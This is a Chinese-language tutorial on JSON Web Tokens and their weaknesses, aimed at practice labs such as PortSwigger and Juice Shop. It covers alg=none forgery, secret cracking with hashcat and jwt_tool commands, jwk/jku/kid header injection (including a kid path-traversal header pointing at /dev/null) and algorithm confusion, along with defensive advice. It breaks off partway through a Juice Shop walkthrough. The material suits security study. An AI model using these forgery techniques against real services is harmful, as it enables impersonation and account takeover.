介绍
什么是JWT
JSON Web Token (JWT) 是一种标准化格式,用于在系统之间发送加密签名的 JSON 数据。它们理论上可以包含任何类型的数据,但最常用于发送有关用户信息的声明,作为身份验证、会话处理和访问控制机制的一部分。
与经典会话令牌不同,服务器需要的所有数据都存储在 JWT 本身的客户端中。这使得 JWT 成为高度分布式网站的热门选择,在这些网站中,用户需要与多个后端服务器无缝交互。
它一般会放置在**Authorization**
、**Cookie**
或者请求体里面。
JWT有什么用
JWT 最常见的场景就是授权认证,一旦用户登录,后续每个请求都将包含 JWT,系统在每次处理用户请求的之前,都要先进行 JWT 安全校验,通过之后再进行处理。主要用于验证用户身份信息及跨域的身份验证。
为什么引入JWT
弥补session认证。
在传统的web应用中,我们通常采用session认证:
session认证流程:
- 客户端将用户名/密码通过某种加密的方式发送给服务器
- 服务器接收到客户端请求之后进行验证,验证通过后使用Set-Cookie将用户的唯一sessionid放入到cookie当中,并将生成的sessionid和用户的关联信息存入到内存。
- 客户端第二次访问后服务器从当前cookie中取出sessionid并从内存中拿到相同的sessionid,如果不存在,或者没有携带sessionid则说明该用户登陆过期,或者未登陆。
session认证的一些缺点:
- 由于使用session进行认证的方式必须存储sessionid,当用户量过大时对服务器内存消耗影响巨大。如果你没有设置session的过期时间(关闭浏览器并不会导致cookie消失),那么对你的服务器来说消耗是致命的。
- 如果你没有将session存在一个所有服务器都可以获取得到的地方,如redis。那么意味着在本台服务器上面存储的sessionid其他服务器无法获取。用户进行请求时必须请求到这台服务器上面。可扩展性较差。
- 跨平台性较差,传统的session认证方式在移动端很难行得通。你必须开发二套不同的逻辑对web和移动端进行认证。
jwt认证流程:
- 客户端将用户名/密码通过某种加密的方式发送给服务器。
- 服务器接收到客户端请求后进行验证,验证通过服务器生成token返回给客户端。客户端将token存储在本地。
- 客户端每次请求将token携带在http header头中, 服务器端将token取出进行解密。
jwt认证的优点:
- 服务器端无需保存token,以加解密的方式代替存储,节省了内存空间。
- 无状态的token不依赖于服务器保存会话信息,更利于水平扩展。
- 相比于传统的session认证方式,jwt对移动端的支持更友好。
JWT的组成
JWT由三部分组成,用.
拼接。举例如下:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
使用专业网站:https://jwt.io/ 或者 https://token.dev/(不常用)
JWT由三部分构成:
第一部分我们称它为头部(header),是一个 JSON 对象。
头部是用来声明此jwt的类型和加密算法,它们通常由
alg
和typ
这二个字段组成。
- alg字段通常用于表示加密采用的算法。如“HS256”、“RS256”等
- typ字段通常用于表示类型
- 还有一些其他可选参数,如“kid”、“jku”、“ x5u”等
第二部分我们称其为载荷(payload),是一个 JSON 对象。
主要承载了各种声明并传递明文数据,一般用于存储用户的信息,如 id、用户名、角色、令牌生成时间和其他自定义声明。
- iss:该字段表示jwt的签发者。可以用你的应用唯一标识或者高权限的userid填充此字段。
- sub:该jwt面向的用户。
- aud:jwt的接收方。
- exp:jwt的过期时间,通常来说是一个时间戳。
- iat:jwt的签发时间,常来说是一个时间戳。
- jti:此jwt的唯一标识。通常用于解决请求中的重放攻击。该字段在大多数地方没有被提及或使用。因为使用此字段就意味着必须要在服务器维护一张jti表, 当客户端携带jwt访问的时候需要在jti表中查找这个唯一标识是否被使用过。使用这种方式防止重放攻击似乎让jwt有点怪怪的感觉, 毕竟jwt所宣称的优点就是无状态访问
第三部分是签证(signature)
Signature 是对 Header 和 Payload 进行签名,具体是用什么加密方式写在 Header的alg 中。同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。
阅读 JWT 的第三部分,可以得知 JWT 是怎么来了:
第一部分:对 JSON 的头部做 base64 编码处理得到
第二部分:对 JSON 类型的 payload 做 base64 编码处理得到
第三部分:
- 分别对头部和载荷做base64编码,并使用
.
拼接起来 - 使用头部声明的加密方式,对base64编码前两部分合并的结果加盐加密处理,作为 JWT 第三部分
在大多数情况下,任何有权访问令牌的人都可以轻松读取或修改此数据。因此,任何基于 JWT 的机制的安全性都严重依赖于加密签名。
更进一步的说明,参见BurpSuite网络安全学院:https://portswigger.net/web-security/jwt
JWT 特征识别
- 一般会放置在Authorization、Cookie或者请求体里面。
- 以
eyJ
开头,.
分割成三部分。对应检测的正则如下:
(eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9._-]{10,}|eyJ[A-Za-z0-9_\/+-]{10,}\.[A-Za-z0-9._\/+-]{10,})
可以通过HaE插件很方便的识别
JWT、JWS与JWE
JWT规范的约束实际上是非常有限的。因为它只定义了将信息(“声明”)表示为可以在双方之间传输的JSON对象的格式。在实际使用中,JWT并没有真正作为一个独立的实体使用。JWT规范由JSON Web签名(JWS)和JSON Web加密(JWE)规范组成,共同定义了实际实现JWT的具体方法。
也就是说,JWT通常是指JWS或JWE令牌,JWE同理,只是令牌的实际内容是经过加密的。
简单来说就是:jws(JSON Web Signed)并没有对数据进行加密,如果我们想保证数据的安全就需要使用jwe(JSON Web Encryption)对jwt进行加密。
关于这一点,更进一步的解释参见:一文读懂JWT,JWS,JWE
生成JWT
Python生成Jwt Web Token:
import time
import jwt
# 头信息
head = {
"alg": "HS256",
"typ": "jwt"
}
# payload
payload = {
"iat": time.time(),
"name": "admin"
}
# 调用jwt库,生成json web token
# 秘钥 加密算法
jwt_token = jwt.encode(payload, "1121", algorithm="HS256", headers=head)
# 输出
print(jwt_token)
运算结果:
eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2Njg2NTI3NjguMzE2MjY5MiwibmFtZSI6ImFkbWluIn0.CfR27zXtS7CUf99AkEG4LroIT19dKdgPmqcrTC7sD3o
视频介绍
上面是文字介绍,下面是视频介绍:
通俗易懂:https://www.bilibili.com/video/BV1KY4y1q7PU
稍微复杂一点:https://www.bilibili.com/video/BV1cK4y197EM
JWT攻击
JWT 攻击涉及用户将修改后的 JWT 发送到服务器以实现恶意目标。通常,此目标是通过模拟另一个已经过身份验证的用户来绕过身份验证和访问控制。
关于jwt的使用安全性,其实国外已经有很详细的研究文章进行介绍了,具体参考地址:
https://research.securitum.com/jwt-json-web-token-security/
freebuf翻译版本地址:
https://www.freebuf.com/vuls/219056.html
漏洞讲解视频:
- 源视频地址:https://www.youtube.com/watch?v=RFKbHrqMiv8
- 国内搬运视频(带中文翻译):https://www.iculture.cc/knowledge/pig=25362
一些靶场
在线靶场:
- BurpSuite:https://portswigger.net/web-security/all-labs#jwt【案例2.x中会介绍】
- https://jwt-lab.herokuapp.com/challenges
- Juice Shop:https://juice-shop.herokuapp.com/
- attackdefense:https://attackdefense.com/search?search=jwt
- https://authlab.digi.ninja/JWT_Cracking(用来练习破解密钥的靶场)
本地靶场:
- Juice Shop:参见案例1
- WebGoat
JWT 攻击的影响是什么?
JWT 攻击的影响通常很严重。如果攻击者能够使用任意值来创建自己的有效令牌,他们可能会提升自己的权限或冒充其他用户,从而完全控制他们的帐户。
JWT 攻击的漏洞是如何产生的?
JWT 漏洞通常是由于应用程序本身的 JWT 处理有缺陷而引起的。与 JWT 相关的各种规范在设计上相对灵活,允许网站开发人员自行决定许多实现细节。这可能会导致他们意外地引入一些存在漏洞的库文件。
这些缺陷通常意味着 JWT 的签名未正确验证。这使攻击者能够篡改通过令牌的有效负载传递给应用程序的值。即使签名得到了可靠的验证,它是否真正可信在很大程度上取决于服务器的密钥是否保密。如果密钥以某种方式泄露,或者可以被猜测或暴力破解,则攻击者可以为任意令牌生成有效签名,从而破坏整个机制。
如何在 Burp Suite 中使用 JWT
参见:Working with JWTs in Burp Suite
安装BurpSuite官方推荐的插件:JWT Editor,从搜索结果中看到一个名为“JSON Web Tokens”的插件,这两者都差不多,插件的使用在下文“案例2.3:暴力破解密钥 → 重新签名”中都会介绍。由于bp官方介绍的是“JWT Editor”,因此以后也主要使用“JWT Editor”。两款工具都是很好用的。
另外,根据BurpSuite官方这篇文档的描述:https://portswigger.net/web-security/jwt
从Burp Suite Professional 2022.5.1开始,Burp Scanner可以自动检测 JWT 机制中的许多漏洞。有关详细信息,请参阅Target > Issued definitions选项卡上的相关问题定义。具体真的是否好用,拭目以待。
防御JWT攻击
来自BurpSuite的建议:
- 使用最新的库来处理JWT,并确保开发人员对相关安全问题足够了解。现代代码库的使用降低了在代码实现中引入安全漏洞的可能性,但由于相关规范固有的灵活性,也并非万无一失。
- 确保对收到的任何JWT进行严格的签名验证,并考虑边缘情况,如使用非预期的算法签名的JWT。
- 为jku头部提供允许主机白名单,并严格执行。
- 确保不会受到kid头部参数路径穿越或SQL注入的影响。
- 为发行的任何令牌设置到期日期
- 尽可能避免在 URL 参数中发送令牌
- 使发行服务器能够撤销令牌(例如,在注销时)
来自 安恒信息安全服务 的建议:
● 避免在令牌中直接传输用户的敏感数据以及系统内部的关键参数。
● 若使用对称加密算法,应使用强密钥提高秘钥破解的难度。
● 若使用非对称加密算法,应在服务端增加已授权算法的白名单,限制签名算法类型,防止密钥混淆攻击。
● 严格验证并过滤从用户端接收的数据,例如kid、jku等关键参数,防止因没有对参数进行正确校验而产生的安全风险。
● 在Payload字段中增加一些业务上的字段,用于校验当前JWT是否被滥用,例如增加设备号、权限的信息等,可以与上下文的信息进行对照。
攻击工具
爆破密钥工具:jwtcrack
使用C语言编写的爆破工具,基于计算机的算力爆破的,并非基于密码本爆破。
项目地址:https://github.com/brendan-rius/c-jwt-cracker
安装:
apt-get install libssl-dev
git clone https://github.com/brendan-rius/c-jwt-cracker.git
cd c-jwt-cracker
make
爆破密钥工具:hashcat
你需要提供一个来自目标服务器的有效的、签名的 JWT,和一个字典(在BuepSuite上,它会推荐一个爆破字典)。然后就可以运行以下命令,将 JWT 和字典作为参数传递。如果多次运行该命令,则需要包含--show
标志来显示输出结果。
hashcat -a 0 -m 16500 <jwt> <wordlist>
如果你是使用虚拟机里面的hashcat,大概率会因为内存不足而破解失败。我这里使用的是kali官方打包好的VMware版本虚拟机,结果提示我内存不足
解决办法是下载windows版本的hashcat:https://github.com/hashcat/hashcat/releases
综合利用工具:jwt_tool
jwt_tool是一款用于验证、伪造、扫描和篡改 JWT的综合性工具
项目地址:https://github.com/ticarpi/jwt_tool
它的功能包括:
- 检查令牌的有效性
- 测试已知漏洞:
- (CVE-2015-2951) _alg=none_签名绕过漏洞
- (CVE-2016-10555) _RS/HS256_公钥不匹配漏洞
- (CVE-2018-0114)_密钥注入_漏洞
- (CVE-2019-20933/CVE-2020-28637)_空白密码_漏洞
- (CVE-2020-28042)_空签名_漏洞
- 扫描错误配置或已知弱点
- 模糊声明值以引发意外行为
- 测试秘密/密钥文件/公钥/JWKS 密钥的有效性
- 通过字典爆破密钥
- 伪造新的令牌标头和有效负载内容并使用密钥或通过其他攻击方法创建新签名
- 时间戳篡改
- RSA 和 ECDSA 密钥生成和重建(来自 JWKS 文件)
- …还有更多!
关于上述功能,以及工具的使用细节,参考这里:https://github.com/ticarpi/jwt_tool/wiki
安装:
pip install termcolor cprint pycryptodomex requests
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
第一次运行此工具的时候,它会创建一个配置文件
基本用法
签名置为空【没啥用】
这里以在线靶场https://jwt-lab.herokuapp.com/为例第一关为例。
打开靶场,来到“/users”,随便选中一个账号,点击最右侧的“Destroy”即可设置该账户的密码。于是,就有了一组账号密码,然后登录靶场
打开第一关,这一关是“接受任意签名”的靶场环境,如图所示,当前身份是users
篡改签名为none,篡改身份为admin。
签名依然存在,但是身份变成了admin
下面使用工具进行演示:
python ./jwt_tool.py eyJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoidXNlcnMifQ.PcT7hCKp4B275nb8uy3tTNr_lYSws0VZldtIRQy43fcNe3B2F5Fv3pzqHr6vA50eBeMFbUfwJoCUoqPtOHXNp-_uH63ZfHZMZmreNngIHQ8D2Uo6Tg2NMR-YOYOX3Mz9UOeQsbk48X9U0t8L-pi2qDQUTEloaBaWLSCVQIfhyDablIOtzAc45FWwfuR5PgydWmc1COunDSEs9QNl_klbtjK6VSv46VY35P2ljyW2sLPasa1iZG68QVYmzWpq629T8_tbGcGngCDfTMK4jD4hWarhvBeEkpACAGvxlyoFclYlwcDLMSmPt8FwvDy2iQLL6dvN1NuCP629Zt-U7p7hWA -X a
查看帮助手册得知:-X a
的作用是设置alg
为none
,即:设置签名为空。
可以看到工具生成了四种不同 none 值对应的 payload ,实际测试中可以逐一替换进行测试,同时也可尝试将“alg”字段直接置空(使用-X n
)。
base64解码得知,用户名没变,所以还需要把拿到的结果,手工修改才行。
经过上面的演示,个人感觉这个功能没啥用。
破解密钥
以此靶场演示:https://authlab.digi.ninja/JWT_Cracking
# 使用字典破解
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
# 指定密码
python3 jwt_tool.py JWT_HERE -C -p password_here
生成签名后的JWT【没啥用】
以此靶场演示:https://authlab.digi.ninja/JWT_Cracking
首先是得破解出密钥,然后来到https://jwt.io/篡改payload(但是在这个网站上填写密钥就可以生成签名了,没必要再去工具中让他生成了,所以个人感觉这个功能没啥实际用处)
- 破解出密钥
- 篡改payload,复制结果
- 重新生成JWT
python ./jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2Njg3NTIxODcsImxldmVsIjoiYWRtaW4iLCJ1c2VyIjoiamFzcGVyIn0. -S hs256 -p "hello"
- 登录成功
破解密钥,并生成签名后的JWT
参见下文:
“案例2.3:暴力破解密钥” → “3. 重新签名” → “方法4:使用jwt_tool”
攻击方式
常规利用方式一般为针对 头部(Header)中的参数进行篡改,进而操控密钥完成服务端对 签证(Signature) 部分校验步骤,实现签名校验步骤绕过,然后可以通过修改 载荷(Payload) 中 id 、用户名等参数,实现伪造任意用户 token 的目的。
1. 敏感信息泄露
由于 Header 和 Payload 两部分是使用 Base64URL 方法编码的,所以这两个部分的内容是任何人都可以查看的
2. 接受任意签名
JWT库通常会提供一个验证令牌的方法,同时提供对其解码的方法。例如,对于Node.js库jsonwebtoken来说,这两个方法分别是verify()和decode()。
但有时开发人员会混淆这两个方法,只把传入的令牌传给decode()方法。这实际上意味着应用程序根本就没有对签名进行验证。
总结:格式为{Header.Payload.signature},由于不验证signature,导致可以随意篡改Payload。
有时候需要篡改Header,如“攻击工具 → 综合利用工具:jwt_tool →签名置为空【没啥用】”中的演示;
有时候不需要篡改Header,如下面的案例2.1
3. 接受未签名的令牌
JWT头部还包含一个alg参数。该参数的作用就是告诉服务器对令牌进行签名时使用的是哪种算法,换句话说就是在验证签名时需要使用哪种算法。
{
"alg": "HS256",
"typ": "JWT"
}
但本质上这种方法存在安全隐患,因为服务器只能隐式地信任提供令牌的用户的输入(注意,这些输入受控于该用户),而该令牌根本没有被验证过。换句话说攻击者可以直接影响服务器检查令牌是否值得信任的方式。
JWT既可以使用一系列不同的算法进行签名,也可以不签名。在这种情况下,alg参数被设置为None,表示所谓的 “不安全的JWT”。由于这种情况明显存在安全问题,因此服务器通常会拒绝没有签名的令牌。但由于这种过滤依赖于字符串解析,所以攻击者可以使用混淆技术绕过这些过滤器,如混合大写和非预期的编码等。(需要注意的是,即使令牌是未签名的,载荷部分也必须以点号结尾。)
这种配置一般是用于开发环境中测试使用,但是生产环境中也有可能因为开发人员误操作而导致此类问题的发生。
总结:格式为{Header.Payload.},将Header中的算法改为None
由于不验证signature,导致可以随意篡改Header、Payload【下面的案例1,案例2.2 介绍了这种攻击方式】
4. 暴力破解密钥
某些签名算法,例如HS256(HMAC + SHA-256),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。需要保证这个秘钥不被轻易猜到或暴力破解,否则攻击者能以任意的头部和载荷值来创建JWT,然后用密钥重新给令牌签名。
在实现JWT应用时,开发人员有时会忘记改变默认或占位的密码,甚至可能复制和粘贴在网上找到的代码片段,然后忘记改变作为示例提供的硬编码的密码。在这种情况下,攻击者使用流行的密码本,可以轻松对服务器的登陆凭据进行暴力破解。
总结:如果能爆破出密钥,就自己生成一个新的签名【下面的案例2.3 介绍了这种攻击方式】
这里会介绍3中爆破工具:jwtcrack、jwt_tool、hashcat
这里提供一个专门的练习靶场:https://authlab.digi.ninja/JWT_Cracking
使用jwtcrack打通靶机
使用hashcat打通靶机
使用jwt_tool打通靶机
由于密钥不在这个字典里面,需要手动添加一下来演示效果:
echo "hello" >> ./jwt.secrets.list
python ./jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2Njg2NzY2MTgsImxldmVsIjoidXNlciIsInVzZXIiOiJqYXNwZXIifQ.Rihen5aDv5Tkt6OLaR1Yi-WdvBWsI7hXt9i1JxjWe1I -C -d ./jwt.secrets.list
5. JWT头部参数注入
根据JWS规范,只有头部参数alg
是必需的。然而实际中,JWT头部(也称为JOSE头部)通常包含其他几个参数。以下是攻击者特别感兴趣的参数:
- jwk(JSON Web Key):提供一个表示密钥的嵌入式JSON对象。
- jku(JSON Web Key Set URL):提供一个URL,服务器可以从中获取一组包含正确密钥的密钥。
- kid(Key ID):提供一个ID,在有多个密钥可供选择的情况下,服务器可以使用该ID来识别正确的密钥。根据密钥的格式可能还有一个匹配的kid参数。
如上,这些用户可控制的参数用于告诉接收方服务器在验证签名时使用哪些密钥。
5.1 jwk参数注入
JWS(签名后的JWT)规范描述了一个可选的 jwk 头部参数,服务器可以用它将其公钥直接嵌入JWK格式的令牌本身。
JWK(JSON Web密钥)是一种标准化的格式,用于将密钥表示为JSON对象。
公钥和私钥:
如果你不熟悉术语“公钥”和“私钥”,BurpSuite提供了详细的资料,请参阅 对称算法与非对称算法
JWT头部示例如下:
{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}
理想情况下,服务器应该只使用有限的公钥白名单来验证 JWT 签名。但是,配置错误的服务器有时会使用嵌入在jwk参数中的任何密钥。因此攻击者可以用自己的RSA私钥对修改过的JWT进行签名,然后在jwk头部中嵌入对应的公钥。
可以使用bp插件“JWT Editor”很方便的完成这种攻击。(你也可以通过jwk自己添加标头来手动执行此攻击。但是,你可能还需要更新 JWT 的kid标头参数以匹配kid嵌入密钥的参数。该扩展的内置攻击会为您处理此步骤)
- 在加载该扩展后,在Burp的主选项卡栏中,转到
JWT Editor Keys
选项卡。 - 创建一个新的RSA密钥。
- 向
Burp Repeater
发送一个包含JWT的请求。 - 在消息编辑器中,切换到扩展生成的
JSON Web Token
选项卡,并以你喜欢的方式修改令牌的载荷。 - 点击
Attack
按钮,然后选择Embedded JWK
。当收到提示时,选择新生成的RSA密钥。 - 发送请求,测试服务器的响应情况。
【下面的案例2.4 介绍了这种攻击方式】
5.2 jku参数注入
有些服务器并不会直接使用jwk头部参数来嵌入公钥,而是使用jku(JWK Set URL)。jku表示把公钥信息放到指定的 URL 中,服务端通过访问URL来获取相应密钥进行校验,这样可以更灵活地切换密钥。
实际上所谓JWK Set就是一个JSON对象,其中包含一组表示密钥的JWK,例如:
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
"n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
},
{
"kty": "RSA",
"e": "AQAB",
"kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
"n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
}
]
}
像这样的JWK集有时会通过一个标准的端点对外公开,如/.known/jwks.json,攻击者有时可以利用URL解析的差异来绕过这种过滤机制。
【下面的案例2.5 介绍了这种攻击方式】
5.3 kid参数注入
服务器可能会使用多个加密密钥来为不同类型的数据进行签名。出于这个原因,JWT的头部可能包含一个kid(密钥ID)参数,用来帮助服务器识别在验证签名时要使用的密钥。
验证密钥通常被存储为JWK Set。在这种情况下,服务器可以直接寻找与令牌具有相同kid参数的JWK。然而JWS规范并没有为这个ID定义具体的结构,它只是开发人员任意选择的一个字符串。例如可以使用kid参数来指向数据库中的一个特定条目,甚至文件名称。
如果该参数受到目录遍历的影响,攻击者就有可能迫使服务器使用其文件系统中的任意文件作为验证密钥。
{
"kid": "../../path/to/file",
"typ": "JWT",
"alg": "HS256",
"k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}
如果服务器还支持使用对称算法签名的 JWT,这尤其危险。在这种情况下,攻击者可能会将kid参数指向一个可预测的静态文件,然后使用与该文件内容匹配的秘密对 JWT 进行签名。
理论上您可以对任何文件执行此操作,但最简单的方法之一是使用/dev/null
,它存在于大多数 Linux 系统上。由于这是一个空文件,因此获取它会返回null
,可以用一个Base64编码的null字节来给令牌签名将得到一个有效的签名。如果服务器将其验证密钥存储在数据库中,kid头部参数也是一个潜在的SQL注入攻击的载体。
【下面的案例2.6 介绍了这种攻击方式】
5.4 其他有趣的 JWT 标头参数【忽略】
暂无相关靶场,无法演示
攻击者也可能对以下标头参数感兴趣:
**cty(内容类型):**用来声明JWT载荷中内容的媒体类型。通常情况下会省略该参数,但底层解析库可能还是支持它。如果攻击者已经找到了绕过签名验证的方法,可能会尝试注入cty参数,将内容类型改为text/xml
或application/x-java-serialized-object
,这有可能为XXE和反序列化攻击提供方向。
**x5c(X.509证书链):**用于传递用于对JWT进行数字签名的X.509公钥证书或证书链。这个头部参数可用于注入自签证书,类似于上面讨论的jwk头部注入攻击。由于X.509格式及其扩展的复杂性,解析这些证书也很可能会引入漏洞。
有关更多详细信息,请查看CVE-2017-2800和CVE-2018-2633)
6 JWT算法混淆攻击(又称:密钥混淆攻击)
即使服务器使用了您无法暴力破解的可靠机密,您仍然可以通过使用开发人员未预料到的算法对令牌进行签名来伪造有效的 JWT。这被称为算法混淆攻击。
当攻击者能够强制服务器使用与网站开发人员预期不同的算法来验证 JSON Web Token ( JWT ) 的签名时,就会发生算法混淆攻击(也称为密钥混淆攻击) 。如果这种情况处理不当,攻击者可能会伪造包含任意值的有效 JWT,而无需知道服务器的秘密签名密钥。
6.1 对称与非对称算法
可以使用一系列不同的算法对 JWT 进行签名。其中一些,例如 HS256 (HMAC + SHA-256) 使用“对称”密钥。这意味着服务器使用单个密钥来签署和验证令牌。显然,这需要保密,就像密码一样。
其他算法,例如 RS256 (RSA + SHA-256) 使用“非对称”密钥对。这包括服务器用来签署令牌的私钥和可用于验证签名的数学相关公钥。
顾名思义,私钥必须保密,但公钥通常是共享的,这样任何人都可以验证服务器发布的令牌的签名。
6.2 算法混淆漏洞是如何产生的?
算法混淆漏洞通常是由于 JWT 库的实施有缺陷而引起的。尽管实际验证过程因所使用的算法而异,但许多库都提供了一种与算法无关的单一方法来验证签名。这些方法依赖alg
令牌标头中的参数来确定它们应执行的验证类型
以下伪代码显示了此泛型verify()方法的声明在 JWT 库中的样子的简化示例:
function verify(token, secretOrPublicKey){
algorithm = token.getAlgHeader();
if(algorithm == "RS256"){
// Use the provided key as an RSA public key
} else if (algorithm == "HS256"){
// Use the provided key as an HMAC secret key
}
}
当随后使用此方法的网站开发人员假设它将专门处理使用 RS256 等非对称算法签名的 JWT 时,就会出现问题。由于这个有缺陷的假设,他们可能总是将固定的公钥传递给方法,如下所示:
publicKey = <public-key-of-server>;
token = request.getCookie("session");
verify(token, publicKey);
在这种情况下,如果服务器接收到使用 HS256 等对称算法签名的令牌,库的通用verify()方法会将公钥视为 HMAC secret。这意味着攻击者可以使用 HS256 和公钥对令牌进行签名,服务器将使用相同的公钥来验证签名
您用于签名令牌的公钥必须与存储在服务器上的公钥完全相同。这包括使用相同的格式(例如 X.509 PEM)并保留任何非打印字符,例如换行符。在实践中,您可能需要尝试不同的格式才能使这种攻击起作用。
6.3 算法混淆攻击
假设我们能够将签名算法从 RS256 更改为 HS256,我们就可以强制应用程序仅使用一个密钥来完成加密和解密这两项任务,此时服务端代码将使用公钥作为密钥,然后使用HS256算法验证签名。
此类攻击方式需要攻击者能够在程序中获取到泄露的公钥。
算法混淆攻击通常涉及以下步骤:
- 获取服务器的公钥
- 将公钥转换为合适的格式
- 创建一个恶意 JWT,其中修改了有效负载并将
alg
标头设置为HS256. - 使用公钥作为secret,使用 HS256 对令牌进行签名。
【下面的案例2.7 介绍了这种攻击方式】
6.4 从现有令牌派生公钥
在公钥不容易获得的情况下,你仍然可以通过从一对现有的 JWT 派生密钥来测试算法是否混淆。譬如工具:rsa_sign2n,BurpSuite创建了此工具的简化版本,我们可以将其作为单个命令运行:
docker run --rm -it portswigger/sig2n <token1> <token2>
【下面的案例2.8 介绍了这种攻击方式】
7. 畸形的JWT攻击
案例1:JWT签名无效 https://www.yuque.com/u1881995/xwfvho/cvn0k8#oG4Pe
案例1:Owasp Juice Shop
通过此案例,了解最基本的利用方式,以及一些注意事项!
你可以使用在线靶场:https://juice-shop.herokuapp.com/
或者本地docker搭建:
docker pull bkimminich/juice-shop
docker run -d -p 80:3000 bkimminich/juice-shop
如何攻击?思路是,尝试设置 JWT 的加密方式为空,这样我可以自行设计出 JWT 的前两部分,第三部分置为空。然后通过修改账号密码的方式来重置管理员的密码。开始演示。
1. 发现JWT登录
注册账户:123@qq.com,123456登录系统,发现存在 JWT。并且注意到Authorization
与Cookie
中token
的值是一致的。
对应的完整请求包内容如下:
GET /rest/user/whoami HTTP/1.1
Host: 192.168.111.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjEsInVzZXJuYW1lIjoiIiwiZW1haWwiOiIxMjNAcXEuY29tIiwicGFzc3dvcmQiOiJlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiJ1bmRlZmluZWQiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyMi0xMS0xNiAwNTozOTo0NS43MDcgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyMi0xMS0xNiAwNTo0NDowNC41MjMgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNjY4NTc3NDU3LCJleHAiOjE2Njg1OTU0NTd9.DXYw24kJYuBcHxuWHEocNupJzjocpCWAoZPByvaJgcZ5K2CXUXYpBYdHCy7L6DZD_Od9Xh7DNJUdfP__6gwLVQ9LJ7k98af3cLBhQ_M7TW2TtoXOOcZzkVnVuN0QW1w7bTK4venFwSeWDuOshpF_fFWGlxd42y4kOS2as2cb5xo
Connection: close
Referer: http://192.168.111.128/
Cookie: language=zh_CN; welcomebanner_status=dismiss; cookieconsent_status=dismiss; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjEsInVzZXJuYW1lIjoiIiwiZW1haWwiOiIxMjNAcXEuY29tIiwicGFzc3dvcmQiOiJlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiJ1bmRlZmluZWQiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyMi0xMS0xNiAwNTozOTo0NS43MDcgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyMi0xMS0xNiAwNTo0NDowNC41MjMgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNjY4NTc3NDU3LCJleHAiOjE2Njg1OTU0NTd9.DXYw24kJYuBcHxuWHEocNupJzjocpCWAoZPByvaJgcZ5K2CXUXYpBYdHCy7L6DZD_Od9Xh7DNJUdfP__6gwLVQ9LJ7k98af3cLBhQ_M7TW2TtoXOOcZzkVnVuN0QW1w7bTK4venFwSeWDuOshpF_fFWGlxd42y4kOS2as2cb5xo
If-None-Match: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns"
2. 发现网站邮箱格式
浏览网页,发现网站使用的邮箱格式:@juice-sh.op
3. 修改 JWT
请求头Authorization的值为:
